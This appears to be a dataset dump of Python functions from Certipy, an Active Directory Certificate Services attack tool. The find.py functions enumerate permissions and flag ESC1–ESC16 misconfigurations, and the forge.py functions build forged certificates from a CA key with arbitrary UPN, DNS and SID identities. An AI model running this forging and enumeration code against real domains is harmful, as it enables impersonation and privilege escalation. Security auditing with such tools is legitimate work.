def get_template_permissions(self, template: LDAPEntry) -> Dict[str, Any]: """ Extract template permissions for output. Args: template: Certificate template Returns: Dictionary of template permissions """ security = CertificateSecurity(template.get("nTSecurityDescriptor")) permissions = {} # Process enrollment permissions enrollment_permissions = {} enrollment_rights = [] all_extended_rights = [] for sid, rights in security.aces.items(): # Skip admin principals if requested if self.hide_admins and is_admin_sid(sid): continue # Check for Enroll right has_enroll = (rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT) and ( EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"] ) if has_enroll: enrollment_rights.append(self.connection.lookup_sid(sid).get("name")) # Check for All-Extended-Rights has_all_rights = ( rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT ) and ( EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"] in rights["extended_rights"] ) if has_all_rights: all_extended_rights.append(self.connection.lookup_sid(sid).get("name")) # Add enrollment rights if enrollment_rights: enrollment_permissions["Enrollment Rights"] = enrollment_rights # Add all extended rights if all_extended_rights: enrollment_permissions["All Extended Rights"] = all_extended_rights # Add enrollment permissions if enrollment_permissions: permissions["Enrollment Permissions"] = enrollment_permissions # Process object control permissions object_control_permissions = {} # Add owner if not self.hide_admins or not is_admin_sid(security.owner): object_control_permissions["Owner"] = self.connection.lookup_sid( security.owner ).get("name") # Add rights mappings rights_mapping = [ (CertificateRights.GENERIC_ALL, [], "Full Control Principals"), (CertificateRights.WRITE_OWNER, [], "Write Owner Principals"), (CertificateRights.WRITE_DACL, [], "Write Dacl Principals"), ] # Process write property permissions write_permissions = {} for sid, rights in security.aces.items(): # Skip admin principals if requested if self.hide_admins and is_admin_sid(sid): continue # Get rights information extended_rights = rights["extended_rights"] ad_rights = rights["rights"] principal_name = self.connection.lookup_sid(sid).get("name") # Check for each standard right type for right, principal_list, _ in rights_mapping: if right in ad_rights and ( ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT ): principal_list.append(principal_name) # Check for write property rights can_write_property = (CertificateRights.WRITE_PROPERTY in ad_rights) and ( ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT ) if can_write_property: for extended_right in extended_rights: # Resolve extended right name resolved_right = EXTENDED_RIGHTS_MAP.get( extended_right, extended_right ) # Add principal to the list for this right principal_list = write_permissions.get(resolved_right, []) if principal_name not in principal_list: principal_list.append(principal_name) write_permissions[resolved_right] = principal_list # Add write property rights for extended_right, principal_list in write_permissions.items(): rights_mapping.append( ( CertificateRights.WRITE_PROPERTY, principal_list, f"Write Property {extended_right}", ) ) # Add all rights to permissions for _, principal_list, name in rights_mapping: if principal_list: object_control_permissions[name] = principal_list # Add object control permissions if object_control_permissions: permissions["Object Control Permissions"] = object_control_permissions return permissions
Extract template permissions for output. Args: template: Certificate template Returns: Dictionary of template permissions
get_template_permissions
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_ca_permissions(self, ca: LDAPEntry) -> Dict[str, Any]: """ Extract CA permissions for output. Args: ca: Certificate authority Returns: Dictionary of CA permissions """ security = ca.get("security") if security is None: return {} ca_permissions = {} access_rights = {} # Add owner if not self.hide_admins or not is_admin_sid(security.owner): ca_permissions["Owner"] = self.connection.lookup_sid(security.owner).get( "name" ) # Process ACEs for sid, rights in security.aces.items(): # Skip admin principals if requested if self.hide_admins and is_admin_sid(sid): continue # Get principal name principal_name = self.connection.lookup_sid(sid).get("name") # Get list of rights ca_rights = rights["rights"].to_list() # Add each right to the access rights dictionary for ca_right in ca_rights: if ca_right not in access_rights: access_rights[ca_right] = [principal_name] else: access_rights[ca_right].append(principal_name) # Add access rights if access_rights: ca_permissions["Access Rights"] = access_rights return ca_permissions
Extract CA permissions for output. Args: ca: Certificate authority Returns: Dictionary of CA permissions
get_ca_permissions
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_oid_permissions(self, oid: LDAPEntry) -> Dict[str, Any]: """ Extract OID permissions for output. Args: oid: Issuance policy object Returns: Dictionary of OID permissions """ nt_security_descriptor = oid.get("nTSecurityDescriptor") if nt_security_descriptor is None: return {} security = IssuancePolicySecurity(nt_security_descriptor) oid_permissions = {} access_rights = {} # Add owner if not self.hide_admins or not is_admin_sid(security.owner): oid_permissions["Owner"] = self.connection.lookup_sid(security.owner).get( "name" ) # Process ACEs for sid, rights in security.aces.items(): # Skip admin principals if requested if self.hide_admins and is_admin_sid(sid): continue # Get principal name principal_name = self.connection.lookup_sid(sid).get("name") # Get list of rights oid_rights = rights["rights"].to_list() # Add each right to the access rights dictionary for oid_right in oid_rights: if oid_right not in access_rights: access_rights[oid_right] = [principal_name] else: access_rights[oid_right].append(principal_name) # Add access rights if access_rights: oid_permissions["Access Rights"] = access_rights return oid_permissions
Extract OID permissions for output. Args: oid: Issuance policy object Returns: Dictionary of OID permissions
get_oid_permissions
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_template_vulnerabilities( self, template: LDAPEntry ) -> Tuple[Dict[str, str], Dict[str, str], List[str], List[str]]: """ Detect vulnerabilities in certificate templates. This method checks for various Enterprise Security Configuration (ESC) vulnerabilities: - ESC1: Client authentication template with enrollee-supplied subject - ESC2: Template that allows any purpose - ESC3: Template with Certificate Request Agent EKU or vulnerable configuration - ESC4: Template with dangerous permissions or owned by current user - ESC9: Template with no security extension - ESC13: Template linked to a group through issuance policy - ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019) Args: template: Certificate template to analyze Returns: Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals """ # Return cached vulnerabilities if already processed if template.get("vulnerabilities"): return template.get("vulnerabilities") vulnerabilities = {} remarks = {} enrollable_principals = [] acl_principals = [] user_can_enroll, enrollable_sids = self.can_user_enroll_in_template(template) is_enabled = template.get("enabled", False) # Skip enrollment-based vulnerability checks if user can't enroll or # if template requires approval or signatures requires_approval = ( template.get("requires_manager_approval") or template.get("authorized_signatures_required", 0) > 0 ) if is_enabled and user_can_enroll: enrollable_principals = self.format_principals(enrollable_sids) if not requires_approval: # ESC1: Client authentication with enrollee-supplied subject if template.get("enrollee_supplies_subject") and template.get( "client_authentication" ): vulnerabilities["ESC1"] = ( f"Enrollee supplies subject " "and template allows client authentication." ) # ESC2: Any purpose template if template.get("any_purpose"): vulnerabilities["ESC2"] = f"Template can be used for any purpose." # ESC3: Certificate Request Agent if template.get("enrollment_agent"): vulnerabilities["ESC3"] = ( f"Template has Certificate Request Agent EKU set." ) # ESC9: No security extension if template.get("no_security_extension") and template.get( "client_authentication" ): vulnerabilities["ESC9"] = f"Template has no security extension." remarks["ESC9"] = ( "Other prerequisites may be required for this to be exploitable. See " "the wiki for more details." ) # ESC13: Template with issuance policy linked to a group if ( template.get("client_authentication") and template.get("msPKI-Certificate-Policy") and template.get("issuance_policies_linked_groups") ): groups = template.get("issuance_policies_linked_groups") if not isinstance(groups, list): groups = [groups] if len(groups) == 1: vulnerabilities["ESC13"] = ( f"Template allows client authentication " f"and issuance policy is linked to group {groups[0]!r}." ) else: vulnerabilities["ESC13"] = ( f"Template allows client authentication " f"and issuance policy is linked to groups {groups!r}." ) # ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019) if ( template.get("enrollee_supplies_subject") and template.get("schema_version") == 1 ): vulnerabilities["ESC15"] = ( f"Enrollee supplies subject and " "schema version is 1." ) remarks["ESC15"] = ( f"Only applicable if the environment has not been patched. " "See CVE-2024-49019 or the wiki for more details." ) # ESC2 Target: Schema v1 or requires Any Purpose signature if template.get("client_authentication") and ( template.get("schema_version") == 1 or ( template.get("schema_version") > 1 and template.get("authorized_signatures_required") > 0 and template.get("application_policies") is not None and "Any Purpose" in template.get("application_policies") ) ): reason = "has schema version 1" if template.get("schema_version") != 1: reason = ( "requires a signature with the Any Purpose application policy" ) remarks["ESC2 Target Template"] = ( "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability " f"by itself. See the wiki for more details. Template {reason}." ) # ESC3 Target: Schema v1 or requires Certificate Request Agent signature if template.get("client_authentication") and ( template.get("schema_version") == 1 or ( template.get("schema_version") > 1 and template.get("authorized_signatures_required") > 0 and template.get("application_policies") is not None and "Certificate Request Agent" in template.get("application_policies") ) ): reason = "has schema version 1" if template.get("schema_version") != 1: reason = "requires a signature with the Certificate Request Agent application policy" remarks["ESC3 Target Template"] = ( "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability " f"by itself. See the wiki for more details. Template {reason}." ) # ESC4: Template ownership or vulnerable ACL security = CertificateSecurity(template.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) # Check if user owns the template if security.owner in user_sids: owner_name = self.connection.lookup_sid(security.owner).get("name") acl_principals = [owner_name] vulnerabilities["ESC4"] = f"Template is owned by user." else: # Check for vulnerable permissions if not already owner has_vulnerable_acl, vulnerable_acl_sids = self.template_has_vulnerable_acl( template ) acl_principals = self.format_principals(vulnerable_acl_sids) if has_vulnerable_acl: vulnerabilities["ESC4"] = "User has dangerous permissions." return (vulnerabilities, remarks, enrollable_principals, acl_principals)
Detect vulnerabilities in certificate templates. This method checks for various Enterprise Security Configuration (ESC) vulnerabilities: - ESC1: Client authentication template with enrollee-supplied subject - ESC2: Template that allows any purpose - ESC3: Template with Certificate Request Agent EKU or vulnerable configuration - ESC4: Template with dangerous permissions or owned by current user - ESC9: Template with no security extension - ESC13: Template linked to a group through issuance policy - ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019) Args: template: Certificate template to analyze Returns: Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals
get_template_vulnerabilities
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def template_has_vulnerable_acl( self, template: LDAPEntry ) -> Tuple[bool, List[str]]: """ Check if the template has vulnerable permissions for the current user. Args: template: Certificate template to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids) """ security = CertificateSecurity(template.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) vulnerable_acl_sids = [] has_vulnerable_acl = False # Check ACEs for vulnerable permissions for sid, rights in security.aces.items(): # Skip if not related to current user if sid not in user_sids: continue ad_rights = rights["rights"] ad_extended_rights = rights["extended_rights"] # Check for dangerous permissions dangerous_rights = [ CertificateRights.GENERIC_ALL, CertificateRights.WRITE_OWNER, CertificateRights.WRITE_DACL, CertificateRights.GENERIC_WRITE, ] if any(right in ad_rights for right in dangerous_rights): vulnerable_acl_sids.append(sid) has_vulnerable_acl = True continue # WRITE_PROPERTY is only dangerous if you can write the entire object if ( CertificateRights.WRITE_PROPERTY in ad_rights and "00000000-0000-0000-0000-000000000000" in ad_extended_rights and ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT ): vulnerable_acl_sids.append(sid) has_vulnerable_acl = True return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs
Check if the template has vulnerable permissions for the current user. Args: template: Certificate template to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)
template_has_vulnerable_acl
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def can_user_enroll_in_template( self, template: LDAPEntry ) -> Tuple[bool, List[str]]: """ Check if the current user can enroll in the template. Args: template: Certificate template to analyze Returns: Tuple of (can_enroll, list_of_enrollable_sids) """ security = CertificateSecurity(template.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) enrollable_sids = [] user_can_enroll = False # Check ACEs for enrollment rights for sid, rights in security.aces.items(): if sid not in user_sids: continue # Check for enrollment rights (All-Extended-Rights, Enroll, or Generic All) if ( ( EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"] in rights["extended_rights"] and rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT ) or ( EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"] and rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT ) or CertificateRights.GENERIC_ALL in rights["rights"] ): enrollable_sids.append(sid) user_can_enroll = True return user_can_enroll, list(set(enrollable_sids)) # Deduplicate SIDs
Check if the current user can enroll in the template. Args: template: Certificate template to analyze Returns: Tuple of (can_enroll, list_of_enrollable_sids)
can_user_enroll_in_template
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_ca_vulnerabilities( self, ca: LDAPEntry ) -> Tuple[Dict[str, str], Dict[str, str], List[str], List[str]]: """ Detect vulnerabilities in certificate authorities. This method checks for various Enterprise Security Configuration (ESC) vulnerabilities: - ESC6: CA allows user-specified SAN and auto-issues certificates - ESC7: CA with dangerous permissions - ESC8: Insecure web enrollment - ESC11: Unencrypted certificate requests Args: ca: Certificate authority to analyze Returns: Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals """ # Return cached vulnerabilities if already processed if ca.get("vulnerabilities"): return ca.get("vulnerabilities") vulnerabilities = {} remarks = {} acl_principals = [] request_disposition = ca.get("request_disposition") will_issue = request_disposition in ["Issue", "Unknown"] user_can_enroll, enrollable_sids = self.can_user_enroll_in_ca(ca) enrollable_principals = self.format_principals(enrollable_sids) # ESC6: User-specified SAN with auto-issuance if ca.get("user_specified_san") == "Enabled" and will_issue and user_can_enroll: vulnerabilities["ESC6"] = "Enrollee can specify SAN." remarks["ESC6"] = ( "Other prerequisites may be required for this to be exploitable. See " "the wiki for more details." ) policy = ca.get("active_policy") if ( policy and policy != "CertificateAuthority_MicrosoftDefault.Policy" and policy != "Unknown" ): remarks["Policy"] = "Not using the built-in Microsoft default policy." # ESC7: CA with dangerous permissions has_vulnerable_acl, vulnerable_acl_sids = self.ca_has_vulnerable_acl(ca) if has_vulnerable_acl: acl_principals = self.format_principals(vulnerable_acl_sids) vulnerabilities["ESC7"] = f"User has dangerous permissions." # ESC8: Insecure web enrollment web_enrollment = ca.get("web_enrollment") if web_enrollment and will_issue: http_enabled = ( web_enrollment["http"] is not None and web_enrollment["http"]["enabled"] and web_enrollment["http"]["enabled"] != "Unknown" ) https_enabled = ( web_enrollment["https"] is not None and web_enrollment["https"]["enabled"] and web_enrollment["https"]["enabled"] != "Unknown" ) channel_binding_enforced = ( web_enrollment["https"] is not None and web_enrollment["https"]["channel_binding"] ) # Determine vulnerability based on protocol and channel binding if http_enabled and https_enabled and not channel_binding_enforced: vulnerabilities["ESC8"] = ( f"Web Enrollment is enabled over HTTP and HTTPS, and Channel Binding is disabled." ) elif http_enabled: vulnerabilities["ESC8"] = f"Web Enrollment is enabled over HTTP." elif https_enabled and not channel_binding_enforced: vulnerabilities["ESC8"] = ( f"Web Enrollment is enabled over HTTPS and Channel Binding is disabled." ) elif https_enabled and channel_binding_enforced == "Unknown": remarks["ESC8"] = ( "Channel Binding couldn't be verified for HTTPS Web Enrollment. " "For manual verification, request a certificate via HTTPS with Channel Binding disabled " "and observe if the request succeeds or is rejected." ) # ESC11: Unencrypted certificate requests if ca.get("enforce_encrypt_icertrequest") == "Disabled" and will_issue: vulnerabilities["ESC11"] = ( "Encryption is not enforced for ICPR (RPC) requests." ) # ESC16: Security extension disabled (similar to ESC9) disabled_extensions = ca.get("disabled_extensions") if disabled_extensions and will_issue and user_can_enroll: if "1.3.6.1.4.1.311.25.2" in disabled_extensions: vulnerabilities["ESC16"] = "Security Extension is disabled." remarks["ESC16"] = ( "Other prerequisites may be required for this to be exploitable. See " "the wiki for more details." ) return (vulnerabilities, remarks, enrollable_principals, acl_principals)
Detect vulnerabilities in certificate authorities. This method checks for various Enterprise Security Configuration (ESC) vulnerabilities: - ESC6: CA allows user-specified SAN and auto-issues certificates - ESC7: CA with dangerous permissions - ESC8: Insecure web enrollment - ESC11: Unencrypted certificate requests Args: ca: Certificate authority to analyze Returns: Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals
get_ca_vulnerabilities
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def ca_has_vulnerable_acl(self, ca: LDAPEntry) -> Tuple[bool, List[str]]: """ Check if the CA has vulnerable permissions for the current user. Args: ca: Certificate authority to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids) """ has_vulnerable_acl = False vulnerable_acl_sids = [] security = ca.get("security") if security is None: return has_vulnerable_acl, vulnerable_acl_sids user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) # Check ACEs for vulnerable permissions for sid, rights in security.aces.items(): # Skip if not related to current user if sid not in user_sids: continue ad_rights = rights["rights"] # Check for dangerous CA permissions dangerous_rights = [ CertificateAuthorityRights.MANAGE_CA, CertificateAuthorityRights.MANAGE_CERTIFICATES, ] if any(right in ad_rights for right in dangerous_rights): vulnerable_acl_sids.append(sid) has_vulnerable_acl = True return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs
Check if the CA has vulnerable permissions for the current user. Args: ca: Certificate authority to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)
ca_has_vulnerable_acl
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def can_user_enroll_in_ca(self, ca: LDAPEntry) -> Tuple[Optional[bool], List[str]]: """ Check if the current user can enroll in the CA. Args: ca: CA to analyze Returns: Tuple of (can_enroll, list_of_enrollable_sids) """ security = ca.get("security") if security is None: return None, [] user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) enrollable_sids = [] user_can_enroll = False # Process ACEs for sid, rights in security.aces.items(): if sid not in user_sids: continue if CertificateAuthorityRights.ENROLL in rights["rights"]: enrollable_sids.append(sid) user_can_enroll = True return user_can_enroll, list(set(enrollable_sids)) # Deduplicate SIDs
Check if the current user can enroll in the CA. Args: ca: CA to analyze Returns: Tuple of (can_enroll, list_of_enrollable_sids)
can_user_enroll_in_ca
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_oid_vulnerabilities( self, oid: LDAPEntry ) -> Tuple[Dict[str, str], List[str]]: """ Detect vulnerabilities in issuance policy OIDs. This method checks for Enterprise Security Configuration (ESC) vulnerabilities: - ESC13: OID with dangerous permissions or owned by current user Args: oid: Issuance policy OID to analyze Returns: Tuple of detected vulnerabilities and ACL principals """ # Return cached vulnerabilities if already processed if oid.get("vulnerabilities"): return oid.get("vulnerabilities") vulnerabilities = {} acl_principals = [] # ESC13: OID ownership or vulnerable ACL security = IssuancePolicySecurity(oid.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) # Check if user owns the OID if security.owner in user_sids: owner_name = self.connection.lookup_sid(security.owner).get("name") acl_principals = [owner_name] vulnerabilities["ESC13"] = f"Issuance Policy OID is owned by user." else: # Check for vulnerable permissions if not already owner has_vulnerable_acl, vulnerable_acl_sids = self.oid_has_vulnerable_acl(oid) if has_vulnerable_acl: acl_principals = self.format_principals(vulnerable_acl_sids) vulnerabilities["ESC13"] = f"User has dangerous permissions." return (vulnerabilities, acl_principals)
Detect vulnerabilities in issuance policy OIDs. This method checks for Enterprise Security Configuration (ESC) vulnerabilities: - ESC13: OID with dangerous permissions or owned by current user Args: oid: Issuance policy OID to analyze Returns: Tuple of detected vulnerabilities and ACL principals
get_oid_vulnerabilities
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def oid_has_vulnerable_acl(self, oid: LDAPEntry) -> Tuple[bool, List[str]]: """ Check if the OID has vulnerable permissions for the current user. Args: oid: Issuance policy OID to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids) """ security = IssuancePolicySecurity(oid.get("nTSecurityDescriptor")) user_sids = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) vulnerable_acl_sids = [] has_vulnerable_acl = False # Check ACEs for vulnerable permissions for sid, rights in security.aces.items(): # Skip if not related to current user if sid not in user_sids: continue ad_rights = rights["rights"] # Check for dangerous OID permissions dangerous_rights = [ IssuancePolicyRights.GENERIC_ALL, IssuancePolicyRights.WRITE_OWNER, IssuancePolicyRights.WRITE_DACL, IssuancePolicyRights.WRITE_PROPERTY, ] if any(right in ad_rights for right in dangerous_rights): vulnerable_acl_sids.append(sid) has_vulnerable_acl = True return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs
Check if the OID has vulnerable permissions for the current user. Args: oid: Issuance policy OID to analyze Returns: Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)
oid_has_vulnerable_acl
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def entry(options: argparse.Namespace) -> None: """ Entry point for the 'find' command. Args: options: Command-line arguments """ target = Target.from_options(options, dc_as_target=True) options.__delattr__("target") find = Find(target=target, **vars(options)) find.find()
Entry point for the 'find' command. Args: options: Command-line arguments
entry
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def __init__( self, ca_pfx: Optional[str] = None, ca_password: Optional[str] = None, upn: Optional[str] = None, dns: Optional[str] = None, sid: Optional[str] = None, subject: Optional[str] = None, template: Optional[str] = None, application_policies: Optional[List[str]] = None, smime: Optional[str] = None, issuer: Optional[str] = None, crl: Optional[str] = None, serial: Optional[str] = None, key_size: int = 2048, validity_period: int = 365, out: Optional[str] = None, pfx_password: Optional[str] = None, **kwargs, # type: ignore ): """ Initialize the certificate forgery parameters. Args: ca_pfx: Path to the CA certificate/private key in PFX format ca_password: Password for the CA PFX file upn: User Principal Name for the certificate (e.g., [email protected]) dns: DNS name for the certificate (e.g., computer.domain.com) sid: Security Identifier to include in the certificate subject: Subject name (in DN format) for the certificate template: Path to an existing certificate to use as a template application_policies: List of application policy OIDs smime: SMIME capability identifier issuer: Issuer name (in DN format) for the certificate crl: URI for the CRL distribution point serial: Custom serial number (in hex format, colons optional) key_size: RSA key size in bits for new certificates validity_period: Validity period in days for new certificates out: Output file path for the forged certificate pfx_password: Password for the PFX file kwargs: Additional arguments (not used) """ self.ca_pfx = ca_pfx self.ca_password = ca_password.encode() if ca_password else None self.alt_upn = upn self.alt_dns = dns self.alt_sid = sid self.subject = subject self.template = template self.issuer = issuer self.crl = crl self.serial = serial self.key_size = key_size self.validity_period = validity_period self.out = out self.pfx_password = pfx_password self.kwargs = kwargs # Convert application policy names to OIDs self.application_policies = [ OID_TO_STR_NAME_MAP.get(policy.lower(), policy) for policy in (application_policies or []) ] self.smime = smime
Initialize the certificate forgery parameters. Args: ca_pfx: Path to the CA certificate/private key in PFX format ca_password: Password for the CA PFX file upn: User Principal Name for the certificate (e.g., [email protected]) dns: DNS name for the certificate (e.g., computer.domain.com) sid: Security Identifier to include in the certificate subject: Subject name (in DN format) for the certificate template: Path to an existing certificate to use as a template application_policies: List of application policy OIDs smime: SMIME capability identifier issuer: Issuer name (in DN format) for the certificate crl: URI for the CRL distribution point serial: Custom serial number (in hex format, colons optional) key_size: RSA key size in bits for new certificates validity_period: Validity period in days for new certificates out: Output file path for the forged certificate pfx_password: Password for the PFX file kwargs: Additional arguments (not used)
__init__
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def get_serial_number(self) -> int: """ Get the certificate serial number. Returns: Integer representation of the serial number """ if self.serial is None: return x509.random_serial_number() # Clean up colons if present and convert hex to int return int(self.serial.replace(":", ""), 16)
Get the certificate serial number. Returns: Integer representation of the serial number
get_serial_number
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def get_crl( self, crl: Optional[str] = None ) -> Optional[x509.CRLDistributionPoints]: """ Create a CRL distribution point extension. Args: crl: URI of the CRL distribution point (defaults to self.crl) Returns: CRL distribution points extension or None if no CRL specified """ if crl is None: crl = self.crl if not crl: return None return x509.CRLDistributionPoints( [ x509.DistributionPoint( full_name=[x509.UniformResourceIdentifier(crl)], relative_name=None, reasons=None, crl_issuer=None, ) ] )
Create a CRL distribution point extension. Args: crl: URI of the CRL distribution point (defaults to self.crl) Returns: CRL distribution points extension or None if no CRL specified
get_crl
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def load_ca_certificate_and_key( self, ) -> Tuple[CertificateIssuerPrivateKeyTypes, x509.Certificate]: """ Load the CA certificate and private key from the PFX file. Returns: Tuple of (CA private key, CA certificate) Raises: ValueError: If CA PFX file is not specified FileNotFoundError: If CA PFX file does not exist Exception: If loading the CA certificate or private key fails """ if not self.ca_pfx: raise ValueError("CA PFX file is required") ca_pfx_path = Path(self.ca_pfx) if not ca_pfx_path.exists(): raise FileNotFoundError(f"CA PFX file not found: {self.ca_pfx}") with open(ca_pfx_path, "rb") as f: ca_pfx_data = f.read() ca_key, ca_cert = load_pfx(ca_pfx_data, self.ca_password) if ca_cert is None: raise Exception("Failed to load CA certificate") if ca_key is None: raise Exception("Failed to load CA private key") # Verify we have the correct types ca_private_key = cast(CertificateIssuerPrivateKeyTypes, ca_key) return ca_private_key, ca_cert
Load the CA certificate and private key from the PFX file. Returns: Tuple of (CA private key, CA certificate) Raises: ValueError: If CA PFX file is not specified FileNotFoundError: If CA PFX file does not exist Exception: If loading the CA certificate or private key fails
load_ca_certificate_and_key
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def create_subject_alternative_names( self, ) -> List[Union[x509.DNSName, x509.OtherName]]: """ Create subject alternative names for the certificate. Returns: List of subject alternative name entries """ sans = [] # Add DNS name if specified if self.alt_dns: dns_name = self.alt_dns if isinstance(dns_name, bytes): dns_name = dns_name.decode() sans.append(x509.DNSName(dns_name)) # Add UPN if specified if self.alt_upn: upn_value = self.alt_upn.encode() # Encode as UTF8String for UPN encoded_upn = encoder.encode(UTF8String(upn_value)) sans.append(x509.OtherName(PRINCIPAL_NAME, encoded_upn)) # Add SID if specified if self.alt_sid: sid = self.alt_sid if isinstance(sid, bytes): sid = sid.decode() sid = f"{SAN_URL_PREFIX}{sid}" sans.append(x509.UniformResourceIdentifier(sid)) return sans
Create subject alternative names for the certificate. Returns: List of subject alternative name entries
create_subject_alternative_names
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def create_sid_extension(self) -> Optional[x509.UnrecognizedExtension]: """ Create an extension containing the SID for the certificate. Returns: UnrecognizedExtension containing the SID or None if no SID specified """ if not self.alt_sid: return None sid_value = self.alt_sid.encode() # Create ASN.1 structure for SID extension sid_extension = asn1x509.GeneralNames( [ asn1x509.GeneralName( { "other_name": asn1x509.AnotherName( { "type_id": OID_NTDS_OBJECTSID, "value": asn1x509.OctetString(sid_value).retag( {"explicit": 0} ), } ) } ) ] ) return x509.UnrecognizedExtension(NTDS_CA_SECURITY_EXT, sid_extension.dump())
Create an extension containing the SID for the certificate. Returns: UnrecognizedExtension containing the SID or None if no SID specified
create_sid_extension
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def create_application_policies(self) -> Optional[x509.UnrecognizedExtension]: """ Create an extension containing the application policies for the certificate. Returns: UnrecognizedExtension containing the application policies or None if not specified """ if not self.application_policies: return None # Convert each policy OID string to PolicyIdentifier application_policy_oids = [ asn1x509.PolicyInformation( {"policy_identifier": asn1x509.PolicyIdentifier(ap)} ) for ap in self.application_policies ] # Create certificate policies extension cert_policies = asn1x509.CertificatePolicies(application_policy_oids) return x509.UnrecognizedExtension(APPLICATION_POLICIES, cert_policies.dump())
Create an extension containing the application policies for the certificate. Returns: UnrecognizedExtension containing the application policies or None if not specified
create_application_policies
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def create_smime_extension(self) -> Optional[x509.UnrecognizedExtension]: """ Create an extension containing the S/MIME capability for the certificate. Returns: UnrecognizedExtension containing the S/MIME capability or None if not specified """ if not self.smime: return None # Create S/MIME capability extension smime_capability = SMIME_MAP[self.smime] return x509.UnrecognizedExtension( SMIME_CAPABILITIES, asn1x509.ObjectIdentifier(smime_capability).dump() )
Create an extension containing the S/MIME capability for the certificate. Returns: UnrecognizedExtension containing the S/MIME capability or None if not specified
create_smime_extension
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
MIT
def get_allowed_hash_algorithm( self, template_hash_algorithm: Optional[hashes.HashAlgorithm] ) -> AllowedSignatureAlgorithms: """ Get an appropriate hash algorithm for certificate signing. Args: template_hash_algorithm: Hash algorithm from template certificate Returns: Hash algorithm instance to use for signing """ # Default to SHA-256 if no algorithm specified if template_hash_algorithm is None: return hashes.SHA256() # Get the algorithm class (not instance) alg_class = template_hash_algorithm.__class__ # Check if algorithm is in the allowed list if alg_class in AllowedSignatureAlgorithms.__args__: return cast(AllowedSignatureAlgorithms, template_hash_algorithm) # Fall back to SHA-256 if not allowed logging.warning( f"Hash algorithm {alg_class.__name__} is not allowed. Using SHA256." ) return hashes.SHA256()
Get an appropriate hash algorithm for certificate signing. Args: template_hash_algorithm: Hash algorithm from template certificate Returns: Hash algorithm instance to use for signing
get_allowed_hash_algorithm
python
ly4k/Certipy
certipy/commands/forge.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/forge.py
